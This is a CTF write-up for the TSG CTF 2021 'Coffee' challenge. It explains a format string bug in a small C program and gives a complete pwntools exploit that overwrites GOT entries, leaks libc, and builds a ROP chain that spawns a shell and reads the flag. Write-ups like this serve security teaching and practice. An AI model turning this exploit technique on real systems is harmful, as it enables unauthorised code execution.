# Coffee (TSG CTF 2021 Writeup)
## Overview of the challenge
The program is really simple!
```c=
#include <stdio.h>
int x = 0xc0ffee;
int main(void) {
char buf[160];
scanf("%159s", buf);
if (x == 0xc0ffee) {
printf(buf);
x = 0;
}
puts("bye");
}
```
1. reads a string (<= 159)
2. if x == 0xc0ffee, then prints the buffer **and substitute 0 for x.**
3. finally puts "bye"
Don't forget checking the `checksec`!
```
$ checksec --file=coffee
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
```
NO PIE and Partial RELRO!
## How to Pwn
The bug is trivial. There is a format string bug at `printf(buf)`. The main issue of this challenge is that it seems you cannot do FSB attack twice since the if-condition will no longer hold after you used `printf(buf)` once.
So, in some way, we want to
1. leak the libc address
2. replace an entry in GOT with `system` or some one gadeget RCE
My strategy to get shell is as follows.
In the first FSB payload, my poc will
1. overwrite puts_got -> pop6;ret
2. leak libc_addr from scanf_got
3. send rop gadget to overwrite GOT table again
During the ROP gadget, we do `scanf("%s", puts_got)`. Then we overwrite the GOT entry of `puts` by `system` address. Note that at this time we have already leaked the libc address and therefore can calculate the system address.
## PoC
```python=
from __future__ import division, print_function
import random
from pwn import *
import time
import sys
context.log_level = 'error'
host = sys.argv[1]
port = int(sys.argv[2])
is_gaibu = True
log = False
def wait_for_attach():
if not is_gaibu:
print('attach?')
raw_input()
def just_u64(x):
return u64(x.ljust(8, b'\x00'))
r = remote(host, port)
def recvuntil(x, verbose=True):
s = r.recvuntil(x)
if log and verbose:
print(s)
return s.strip(x)
def recv(n, verbose=True):
s = r.recv(n)
if log and verbose:
print(s)
return s
def recvline(verbose=True):
s = r.recvline()
if log and verbose:
print(s)
return s.strip(b'\n')
def sendline(s, verbose=True):
if log and verbose:
pass
#print(s)
r.sendline(s)
def send(s, verbose=True):
if log and verbose:
print(s, end='')
r.send(s)
def interactive():
r.interactive()
####################################
def menu(choice):
recvuntil(b':')
sendline(str(choice))
# receive and send
def rs(s, new_line=True, r=b':'):
recvuntil(r)
s = str(s)
if new_line:
sendline(s)
else:
send(s)
binary_path = "coffee"
percent_s = 0x403004
puts_got = 0x404018
scanf_got = 0x404030
binsh_addr = puts_got + 9
pop_rdi = 0x0000000000401293
pop_rsi_r15 = 0x0000000000401291
scanf_plt = 0x4010a0
puts_plt = 0x401070
ret = 0x000000000040101a
'''
0x0040128b: pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret ; (1 found)
'''
target = 0x0040128b
rop_payload = [
pop_rdi,
percent_s,
pop_rsi_r15,
puts_got,
puts_got,
ret,
scanf_plt, # system_addr; "/bin/sh"
pop_rdi,
binsh_addr,
ret,
puts_plt
]
head = b''.join(map(p64, rop_payload))
def exec_fmt(payload):
p = process(binary_path)
p.sendline(b'A' * len(head) + payload)
return p.recvall()
# 1. overwrite puts_got -> pop6;ret
# 2. leak libc_addr from scanf_got
# 3. send rop gadget
payload = b'%4747c%21$lln%181c%22$hhnz%23$sx' + head + b'\x18@@\x00\x00\x00\x00\x00\x1a@@\x00\x00\x00\x00\x00' + p64(scanf_got)
'''
context.binary = binary_path
autofmt = FmtStr(exec_fmt)
payload = fmtstr_payload(autofmt.offset, {puts_got: target}, write_size="short")
# b'%4747c%15$lln%181c%16$hhnaaaabaa\x18@@\x00\x00\x00\x00\x00\x1a@@\x00\x00\x00\x00\x00'
print(payload)
'''
sendline(payload)
# leak libc
recvuntil(b"z")
s = recvuntil(b"x")
libc_base = just_u64(s) - 0x66230
print("libc_base: ", hex(libc_base))
system_addr = 0x55410 + libc_base
wait_for_attach()
sendline(p64(system_addr) + b"\x00/bin/sh\x00")
recv(4096)
sendline("cat flag-dcf095f41e7bf00fa7e7cf7ef2ce9083; echo")
s = recvline()
print(s)
if b'TSGCTF' in s:
sys.exit(0)
else:
sys.exit(1)
```